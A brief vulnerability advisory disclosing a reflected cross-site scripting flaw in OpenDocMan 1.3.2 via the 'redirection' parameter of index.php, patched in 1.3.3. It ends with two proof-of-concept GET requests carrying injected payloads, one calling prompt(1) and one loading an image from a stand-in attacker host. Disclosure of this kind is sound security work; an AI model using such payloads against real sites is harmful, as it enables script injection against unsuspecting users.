OpenDocMan 1.3.2 Cross Site Scripting

`Title: OpenDocMan 1.3.2 - Cross Site Scripting (Reflected)  
Disclosed: 9/2/15  
Vendor Patched: Patched in version 1.3.3  
Published: 9/2/15  
Credit: Matt Landers - [email protected]  
Original Advisory: http://mjltech.net/adv/MJLTECH%20-%20OpenDocMan%201.3.2%20XSS.txt  
======================================================================  
  
Confirmed Vulnerable: OpenDocMan 1.3.2  
Vendor: http://www.opendocman.com/  
  
Description: "OpenDocMan is a free, web-based, open source document management system (DMS) written in PHP designed to comply with ISO 17025 and OIE standard for document management. It features web based access, fine grained control of access to files, and automated install and upgrades."  
  
======================================================================  
  
Vulnerable file: index.php  
Vulnerable parameter: redirection  
Description of vulnerability: The parameter 'redirection'is vulnerable to XSS via GET request from non-authenticated user.   
Proof of Concept: GET http://www.xxxx.com/odm/index.php?redirection=" style="width:expression(prompt(1));  
Proof of Concept: GET http://www.xxxx.com/odm/index.php?redirection="></input><img src=http://www.evil.url/hacked.jpg>  
  
`